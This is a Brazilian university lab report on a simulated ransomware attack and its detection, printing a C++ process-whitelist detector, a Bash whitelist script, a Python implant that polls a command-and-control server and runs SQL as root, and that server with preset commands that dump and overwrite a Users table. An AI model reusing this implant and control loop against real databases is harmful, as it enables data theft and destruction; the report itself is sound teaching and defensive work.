**RANSOMWARE**

**TÓPICOS AVANÇADOS EM COMPUTADORES**

**Grupo:** Gustavo Mello Tonnera (211055272) e Leandro Kornelius Belloti (211020900)

**Professora:** [Lorena de Souza Bezerra Borges](https://aprender3.unb.br/user/view.php?id=71828&course=25174)

**Universidade de Brasília (UnB) - 2025.1**

**1. RESUMO**

Este relatório descreve a construção e análise de um ambiente laboratorial com o objetivo de simular e estudar ataques de ransomware em um contexto educacional. A simulação foi realizada em três máquinas virtuais conectadas em uma rede privada: uma contendo um firewall pfSense com IDS Snort, outra com uma API desenvolvida em NestJS e a última com um banco de dados MySQL. Um malware em Python foi desenvolvido para simular um ataque de ransomware, sendo controlado remotamente por um servidor C2. A partir dessa simulação, também foi implementado um sistema de detecção, utilizando C++ e Bash, que identifica processos suspeitos na máquina do banco de dados. A atividade permitiu o aprofundamento prático dos conceitos de segurança computacional, abordando estratégias de prevenção, detecção e resposta a incidentes de ransomware em ambientes reais.

**2. INTRODUÇÃO**

A segurança computacional tem se tornado um tema essencial no cenário acadêmico e profissional, sobretudo diante do aumento de ataques cibernéticos que afetam sistemas críticos e organizações em todo o mundo. Dentre os diversos tipos de ameaças, o ransomware se destaca pela sua capacidade de causar prejuízos financeiros e operacionais significativos, impossibilitando o acesso aos dados dos sistemas e exigindo resgate para sua liberação. Nesse contexto, o presente relatório descreve a metodologia usada pelo grupo para estudar, simular e compreender os mecanismos por trás de ataques de ransomware, bem como avaliar estratégias de defesa e prevenção.

Para isso, foi desenvolvido um laboratório controlado, composto por três máquinas virtuais, por meio do software de virtualização VirtualBox. Esse ambiente simulado permitiu a reprodução de um cenário realista de ataque e defesa, possibilitando que os alunos aplicassem conceitos teóricos em uma situação prática. A primeira máquina virtual foi configurada para atuar como um ponto de segurança da rede, contendo um firewall e um sistema de detecção de intrusos (IDS), enquanto a segunda hospedava uma API simulando um sistema de academia. Já a terceira máquina continha um banco de dados que armazenava os dados do sistema da academia.

A simulação do ataque foi realizada por meio do desenvolvimento de um malware escrito em Python, projetado para se estabelecer uma conexão remota entre a máquina infectada e a máquina do atacante. O malware permite ao atacante acessar o banco de dados do sistema e comprometer informações importantes. Essa abordagem prática foi fundamental para ilustrar de forma clara os riscos e vulnerabilidades presentes em sistemas que não possuem proteções adequadas.

Após a simulação do ataque, foi implementada uma solução para a detecção do malware, com foco na detecção de processos que não deveriam estar sendo executados no servidor. Essa etapa evidenciou a importância de ferramentas de segurança no diagnóstico precoce de ameaças, além de estimular a análise crítica dos estudantes em relação à eficácia das soluções empregadas. Através dessa análise, foi possível entender melhor os métodos que os atacantes utilizam para evadir a detecção.

**3. LABORATÓRIO**

A primeira etapa do desenvolvimento do laboratório envolveu a definição da infraestrutura necessária para simular um ambiente realista de rede sujeito a ataques de ransomware. Inicialmente, foi considerada a utilização dos serviços da AWS para a hospedagem das máquinas virtuais. No entanto, os custos associados à manutenção contínua dos recursos na nuvem tornaram inviável a adoção dessa abordagem para fins acadêmicos. Diante disso, optou-se por implementar a solução de forma local, utilizando o software VirtualBox, o que permitiu maior controle sobre o ambiente e a flexibilidade necessária para testes e configurações específicas.

A topologia da rede foi composta por três máquinas virtuais interconectadas em uma rede privada. A primeira máquina foi destinada à segurança da rede, sendo configurada com o sistema pfSense, que atua como firewall e roteador do ambiente. Além disso, foi instalado e configurado o sistema de detecção de intrusos (IDS) Snort, possibilitando o monitoramento do tráfego de rede e a identificação de comportamentos suspeitos. Essa máquina assumiu o papel de gateway da rede, ou seja, todo o tráfego externo destinado à rede privada passava obrigatoriamente por ela.

A segunda máquina virtual foi utilizada para hospedar uma API Restful desenvolvida com o framework NestJS. Essa API simula o backend de um sistema de gerenciamento de academia, oferecendo rotas específicas para diferentes perfis de usuários, como professores e alunos. Professores podem cadastrar e acompanhar os treinos dos alunos, enquanto os estudantes têm acesso às suas rotinas e histórico de evolução. Para garantir a comunicação com a base de dados, a API foi configurada para se conectar à terceira máquina virtual, que executa uma instância do banco de dados MySQL, onde estão armazenadas as informações de usuários, treinos, metas e registros de desempenho. Para mais detalhes da implementação do banco de dados e da API, visualizar link do Anexo 6 e Anexo 7.

As regras de firewall foram configuradas cuidadosamente em todas as máquinas para garantir a segurança do ambiente. Nas VMs da API e do banco de dados, foi utilizado o utilitário UFW para permitir apenas o tráfego essencial: a porta 3333 foi liberada na API para acessos externos, enquanto a comunicação entre API e banco foi autorizada exclusivamente pela porta 3306. Na VM do pfSense, regras adicionais foram aplicadas para reforçar a segurança da rede. Foi configurado um redirecionamento NAT da porta 3333 para a API, garantindo que requisições externas fossem devidamente encaminhadas. Além disso, todas as demais portas e origens externas foram bloqueadas, exceto o tráfego autorizado entre a API e o banco de dados. Essas configurações foram fundamentais para garantir um ambiente funcional e seguro para a simulação dos ataques. O diagrama da topologia da rede pode ser visualizado no Anexo 1.

**5. SIMULAÇÃO DO ATAQUE**

Antes de descrever a simulação do ataque, é importante realçarmos alguns pontos. Primeiramente, o intuito da atividade era de fato fazer uma simulação, então não utilizamos malwares “verdadeiros”, nós desenvolvemos um programa para simular um ransoware que se conecta no banco de dados do laboratório, sequestra as informações do banco e envia uma mensagem solicitando o resgate das informações. Segundamente, não consideramos como objeto de estudo o vetor do ataque, ou seja, partimos do pressuposto que o atacante já tem acesso ao sistema e já possui as credenciais de um usuário que possui acesso ao banco.

Assim, o ataque do ransomware foi feito por meio de dois programas desenvolvidos em Python: o primeiro programa simula um servidor de C2 e o segundo simula o malware em si, o qual recebe os comandos do servidor e os executa. O primeiro programa foi executado por uma máquina fora do laboratório e o segundo programa foi executado na VM do banco de dados. Para mais informações sobre a implementação dos respectivos programas, consulte os Anexos 5 e 4. A simulação do ataque foi gravada e pode ser acessada no link contido no Anexo 6.

Vale comentar que o programa que simula o ransomware é bem simples: ele só executa comandos SQL. Chegamos a implementar um programa que conseguia executar comando no terminal, mas dadas as considerações gerais, decidimos simplificá-lo. O servidor C2 foi desenvolvido usando a biblioteca “http.server” do Python e é um programa muito simples. Temos ciências que malwares possuem comportamentos mais sofisticados, mas para o escopo do estudo os programas cumprem com o objetivo.

**6. DETECÇÃO DO ATAQUE**

A fim de detectar o malware implementado na simulação do ataque, desenvolvemos um programa em C++, cuja função é verificar se os processos que estão rodando na VM do banco de dados estão presentes em uma lista de processos padrão ou não. Caso o processo não esteja na lista, ele é considerado malicioso. Se o programa não encontrar processos maliciosos, ele avisa que não foram encontrados processos maliciosos.

A estratégia para a detecção do ataca parte do pressuposto que a infraestrutura do laboratório é simples e nós sabemos quais serviços estão rodando em cada máquina. Logo, temos uma previsibilidade muito grande de quais processos rodam em cada máquina. Assim, desenvolvemos um script Bash para listar todos os processos que rodam normalmente no sistema, incluindo o programa de detecção desenvolvido. Dessa forma, quando um programa não contido na lista é executado, grandes chances de ele ser malicioso. Para mais informações sobre a implementação do programa de detecção e do script Bash, consultar os Anexos X e Y, respectivamente. Além disso, um vídeo com a demonstração da detecção do ataque pode ser visualizado com o link do Anexo Z.

**7. CONCLUSÃO**

A realização desta atividade acadêmica permitiu compreender de forma prática os mecanismos envolvidos em ataques de ransomware, bem como explorar técnicas de defesa e prevenção em um ambiente controlado. A construção do laboratório com máquinas virtuais possibilitou a simulação de um cenário realista, no qual foi possível configurar componentes de segurança, implementar uma API funcional e integrar um banco de dados, criando uma infraestrutura representativa de sistemas reais utilizados em organizações.

A simulação do ataque, por meio de um malware desenvolvido em Python e operado por um servidor de comando e controle, evidenciou as vulnerabilidades que podem ser exploradas quando há falhas de configuração ou ausência de monitoramento adequado. A implementação do IDS Snort e o desenvolvimento de um programa de detecção de processos maliciosos demonstraram, na prática, a importância de ferramentas que possibilitam identificar comportamentos anômalos na rede ou no sistema, reforçando o valor da análise preventiva e da detecção precoce de ameaças.

Por fim, o trabalho destacou a relevância do conhecimento técnico aliado à consciência sobre boas práticas de segurança. A combinação de políticas de firewall, segmentação de rede, monitoramento ativo e detecção de ameaças se mostrou eficaz na mitigação de riscos. Esta experiência reforçou o papel essencial da educação prática na formação de profissionais de segurança da informação, proporcionando aos alunos uma vivência próxima dos desafios enfrentados no combate a ataques cibernéticos como o ransomware. Os arquivos com as implementações dos códigos podem ser acessados pelo link do repositório do Anexo 6.

**ANEXOS**

**ANEXO 1 – Diagrama da Topologia do Laboratório**

**Diagrama

O conteúdo gerado por IA pode estar incorreto.**

**ANEXO 2 – Código para detectar o malware (detect2.cpp)**

#include <bits/stdc++.h>

#include <filesystem>

#include <dirent.h>

#include <unistd.h>

#include <algorithm>

using namespace std;

string trim(const string& s) {

string result = s;

auto start = find\_if\_not(s.begin(), s.end(), [](unsigned char c){return isspace(c);});

auto end = find\_if\_not(s.rbegin(), s.rend(), [](unsigned char c){return isspace(c);}).base();

if(start >= end)

return "";

return string(start, end);

}

unordered\_set<string> load\_whitelist(const string& arquivo) {

unordered\_set<string> lista;

ifstream infile(arquivo);

string linha;

if(!infile.is\_open()) {

cerr << "Erro ao abrir o arquivo\n";

return lista;

}

while(getline(infile, linha)) {

if(!linha.empty()) {

lista.insert(trim(linha));

// cout << trim(linha) << "\n";

}

}

return lista;

}

int main() {

const string whitelist\_file = "white\_list.txt";

auto execs = load\_whitelist(whitelist\_file);

if(execs.empty()) {

cerr << "Nenhum executável carregado!\n";

return 1;

}

DIR\* dir = opendir("/proc");

if(!dir) {

cerr << "Erro ao abrir /proc\n";

return 1;

}

struct dirent\* entry;

bool flag = false;

while((entry = readdir(dir)) != nullptr) {

string pid\_str = entry->d\_name;

string exe\_path = "/proc/" + pid\_str + "/exe";

char real\_path[PATH\_MAX];

ssize\_t len = readlink(exe\_path.c\_str(), real\_path, sizeof(real\_path) - 1);

if(len != -1) {

real\_path[len] = '\0';

string caminho(real\_path);

if(execs.find(caminho) == execs.end()) {

cout << "[!!] Processo suspeito encontrado: PID " << pid\_str << " - " << caminho << "\n";

flag = true;

}

}

}

if(!flag) {

cout << "Nenhum processo suspeito encontrado!\n";

}

closedir(dir);

}

**ANEXO 3 – Código bash para construção da lista de processos (procs\_whitelist.sh)**

#!/bin/bash

> white\_list.txt

for pid in $(ls /proc | grep -E '^[0-9]+$'); do

if [ -r "/proc/$pid/exe" ]; then

exe=$(readlink -f "/proc/$pid/exe" 2>/dev/null)

if [ -n "$exe" ]; then

echo "$exe" >> white\_list.txt

continue

fi

fi

if [ -r "/proc/$pid/comm" ]; then

comm=$(cat /proc/$pid/comm 2>/dev/null)

if [ -n "$comm" ]; then

echo "$comm" >> white\_list.txt

fi

fi

done

sort -u white\_list.txt -o white\_list.txt

**ANEXO 4 – Código do malware (**[**malwarehttp.py**](https://github.com/GMTonnera/tac-seguranca-tarefas/blob/main/seminario/malware/malwarehttp.py)**)**

import requests

import time

import mysql.connector

import urllib3

urllib3.disable\_warnings()

def execute\_sql(sql):

try:

db = mysql.connector.connect(

host="127.0.0.1",

user="root",

password="Leo250262",

database="seg\_seminario"

)

cursor = db.cursor()

cursor.execute(sql)

if cursor.with\_rows:

result = cursor.fetchall()

else:

db.commit()

result = f"{cursor.rowcount} linha(s) afetada(s)."

cursor.close()

db.close()

return result

except Exception as e:

return f"[ERRO] {e}"

url = "https://localhost:8443/api/v1/command"

print("Ransomware iniciado e buscando comandos...")

while True:

try:

res = requests.get(url, verify=False)

command = res.json().get("command", "")

if command:

print(f"Executando: {command}")

result = execute\_sql(command)

print(f"Resultado: {result}")

requests.post("https://localhost:8443/api/v1/result", json={"output": str(result)}, verify=False)

else:

print("Nenhum comando recebido.")

except Exception as e:

print(f"[ERRO NA CONEXÃO] {e}")

time.sleep(5)

**ANEXO 5 – Código do servidor C2 (clienthttp.py)**

from http.server import BaseHTTPRequestHandler, HTTPServer

import json

import ssl

import threading

current\_command = ">>>"

result\_received = ""

class SimpleHandler(BaseHTTPRequestHandler):

def \_set\_headers(self, status=200, content\_type="application/json"):

self.send\_response(status)

self.send\_header("Content-Type", content\_type)

self.end\_headers()

def do\_GET(self):

if self.path == "/api/v1/command":

self.\_set\_headers()

response = json.dumps({"command": current\_command})

self.wfile.write(response.encode())

else:

self.\_set\_headers(404)

self.wfile.write(b"Not Found")

def do\_POST(self):

if self.path == "/api/v1/result":

content\_length = int(self.headers.get("Content-Length", 0))

body = self.rfile.read(content\_length)

data = json.loads(body.decode())

print("\nResultado recebido do ransomware:")

print(data.get("output", "sem saída"))

self.\_set\_headers()

self.wfile.write(json.dumps({"status": "Recebido"}).encode())

else:

self.\_set\_headers(404)

self.wfile.write(b"Not Found")

def start\_server():

server\_address = ("0.0.0.0", 8443)

httpd = HTTPServer(server\_address, SimpleHandler)

# context = ssl.SSLContext(ssl.PROTOCOL\_TLS\_SERVER)

# context.load\_cert\_chain(certfile="cert.pem", keyfile="key.pem")

# httpd.socket = context.wrap\_socket(httpd.socket, server\_side=True)

print("Servidor de controle iniciado em https://localhost:8443")

httpd.serve\_forever()

if \_\_name\_\_ == "\_\_main\_\_":

server\_thread = threading.Thread(target=start\_server, daemon=True)

server\_thread.start()

pre\_defined = {

"1": "SHOW TABLES",

"2": "SELECT \* FROM Users",

"3": "UPDATE Users SET name = 'Passa o pix comedia'",

"4": "UPDATE Users SET password = '01788089111'",

}

while True:

print("\nComandos disponíveis:")

for k, v in pre\_defined.items():

print(f"{k} - {v}")

print("ou digite um SQL manualmente")

print("Digite 'stop' para encerrar\n")

option = input(">>> ")

if option.lower() == "stop":

print("Encerrando servidor...")

break

elif option in pre\_defined:

current\_command = pre\_defined[option]

else:

current\_command = option

print(f"Comando atualizado: {current\_command}")

**ANEXO 6 – Links importantes**

* Repositório com o malware e os scripts de detecção: https://github.com/GMTonnera/tac-seguranca-tarefas/tree/main/seminario
* Vídeo da simulação do ataque:
* Vídeo da detecção do malware:
* Repositório da API: https://github.com/LeandroKornelius/Gym-App-Back-End

**ANEXO 7 – Diagrama do Banco de Dados**

Diagrama

O conteúdo gerado por IA pode estar incorreto.